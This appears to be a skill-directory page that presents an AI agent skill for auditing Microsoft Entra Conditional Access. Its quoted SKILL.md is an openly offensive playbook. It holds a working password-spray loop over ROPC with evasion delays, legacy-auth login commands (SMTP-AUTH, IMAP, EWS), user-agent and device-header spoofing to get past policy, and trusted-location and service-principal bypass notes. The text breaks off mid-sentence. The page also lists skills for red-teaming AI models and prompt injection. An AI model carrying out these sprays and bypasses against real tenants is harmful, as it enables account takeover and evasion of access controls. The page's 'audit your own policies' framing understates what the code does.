entra-conditional-access-bypass
What it does
This skill covers gaps in Microsoft Entra Conditional Access, such as legacy sign-in protocols, excluded apps and emergency accounts. It is for identity administrators who audit their own sign-in policies.
When to use it
- βWhen an identity administrator asks the agent to check whether legacy sign-in protocols are blocked by Conditional Access.
- βWhen the agent reviews which apps, service principals or break-glass accounts are excluded from a policy.
- βWhen an audit report must explain the policy gaps and how to close them.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/entra-conditional-access-bypass/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βAre any of our Entra Conditional Access policies missing legacy protocols or excluding important apps?β
5 new skills a week. 1 minute to read.
How it works
The agent lists the policies and their scope, compares them with the protocols and apps in use, and reports the gaps for the administrator.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
Entra Conditional Access Bypass
Conditional Access (CA) policies gate sign-ins by user/app/platform/location/device. Bypasses come from the gaps in policy scoping β legacy protocols not covered, service-principal flows out of scope, device/UA conditions spoofable, break-glass accounts excluded.
Phase 1: Enumerate the policy surface
Authenticated (Graph)
TOKEN=<GLOBAL_READER_OR_SECREADER>
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/beta/policies/conditionalAccessPolicies" \
| jq '.value[] | {n:.displayName, st:.state, users:.conditions.users, apps:.conditions.applications, plat:.conditions.platforms, loc:.conditions.locations, ctrl:.grantControls}'
Authenticated (roadrecon)
roadrecon plugin policies > capolicies.json
# Look for: state=enabledForReportingButNotEnforced (audit-only), excludeUsers (BG accounts), excludeApplications, includeApplications missing 'All cloud apps'
Unauth signals
Sign-in failure error codes reveal CA:
AADSTS53003= blocked by Conditional Access β confirms a policy firedAADSTS50158= external security challenge required (MFA-by-CA)AADSTS50053= locked β smart-lockout, not CAAADSTS500011= resource principal not found in tenant β app exclusion path- No
53003across many protocols + locations β CA has gaps
Phase 2: Legacy auth bypass (basic auth survival)
Despite "basic auth deprecation", many tenants still allow SMTP-AUTH; ROPC (Resource Owner Password Credentials) over oauth2/token is also frequently NOT covered by CA (CA gates Browser + Modern auth clients, but ROPC sneaks through if the policy doesn't include Other clients).
ROPC spray (no MFA prompt)
TARGET=<TARGET>; TENANT=<TENANT>
for u in $(cat valid_users.txt); do
for p in $(cat pwlist.txt); do
r=$(curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/token" \
-d "resource=https://graph.windows.net&client_id=1b730954-1685-4b74-9bfd-dac224a7b894&grant_type=password&username=${u}@${TARGET}&password=${p}")
if echo "$r" | jq -e .access_token >/dev/null; then echo "WIN: $u:$p"; break; fi
sleep $((RANDOM % 3 + 4))
done
done
SMTP-AUTH (Exchange Online)
# CA "block legacy auth" usually scopes 'Exchange ActiveSync' + 'Other clients' β verify SMTP submission:
swaks --server smtp.office365.com:587 --tls --auth LOGIN \
--auth-user <UPN> --auth-password '<PW>' \
--from <UPN> --to <UPN> --header "Subject: t" --body t
# 235 Authentication succeeded => SMTP-AUTH is alive ; tenant likely also lets ROPC through.
IMAP / POP
openssl s_client -crlf -connect outlook.office365.com:993
# A1 LOGIN <UPN> "<PW>"
EWS / Autodiscover with NTLM-over-OAuth
# MailSniper (PS) β pulls mailboxes via EWS using OAuth token, skips CA on EWS-app if 'Office 365 Exchange Online' isn't in policy scope:
Invoke-OpenInboxFinder -EmailList users.txt -ExchHostname outlook.office365.com -Verbose
Phase 3: Device / platform spoofing
CA "require compliant device" + "platform = Windows" rely on UA + x-ms-DeviceType headers β spoofable when the tenant lacks device certificate enforcement.
# Pretend to be a managed Windows client to bypass "block non-Windows":
curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/token" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Edge/120.0" \
-H "x-ms-PKeyAuth: 1.0" \
-d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e&grant_type=password&username=<UPN>&password=<PW>&scope=https://graph.microsoft.com/.default"
# client_id 29d9ed98 = Microsoft Authentication Broker β often in CA exclusion.
PKeyAuth spoof β without the actual device cert, this only works against CAs that just check the advertised platform, not device compliance state (very common misconfig).
Trusted-location bypass
# Tunnel auth from a VPS in a trusted-IP range. List location named-ranges:
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/identity/conditionalAccess/namedLocations" | jq '.[]|{n:.displayName,r:.ipRanges}'
# If a partner ASN is "trusted", any cloud VM in that ASN bypasses the geo control.
Phase 4: Service-principal / app-based bypass
CA historically scoped to USERS only. Workload Identity CA exists but is rarely enforced β service principals with Application.ReadWrite.All etc. authenticate as the app, no user, no MFA, no C
FAQ
What is Conditional Access?
It is a Microsoft Entra feature that sets sign-in rules based on the user, app, device, location and risk.
Why are legacy protocols a gap?
The skill says older protocols may not be covered by modern policies, so they can skip checks such as multi-factor sign-in.
Does the skill cover emergency accounts?
Yes. It notes that break-glass accounts that are excluded from policies must be reviewed.
Details
Original description by the author
Entra Conditional Access bypass β discover policy gaps, exploit legacy-auth protocols (IMAP/POP/SMTP-AUTH/EWS), spoof device/platform/UA/location conditions, abuse service-principals + app-based auth excluded from CA, and break-glass account misuse.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #13992
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- β¦
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.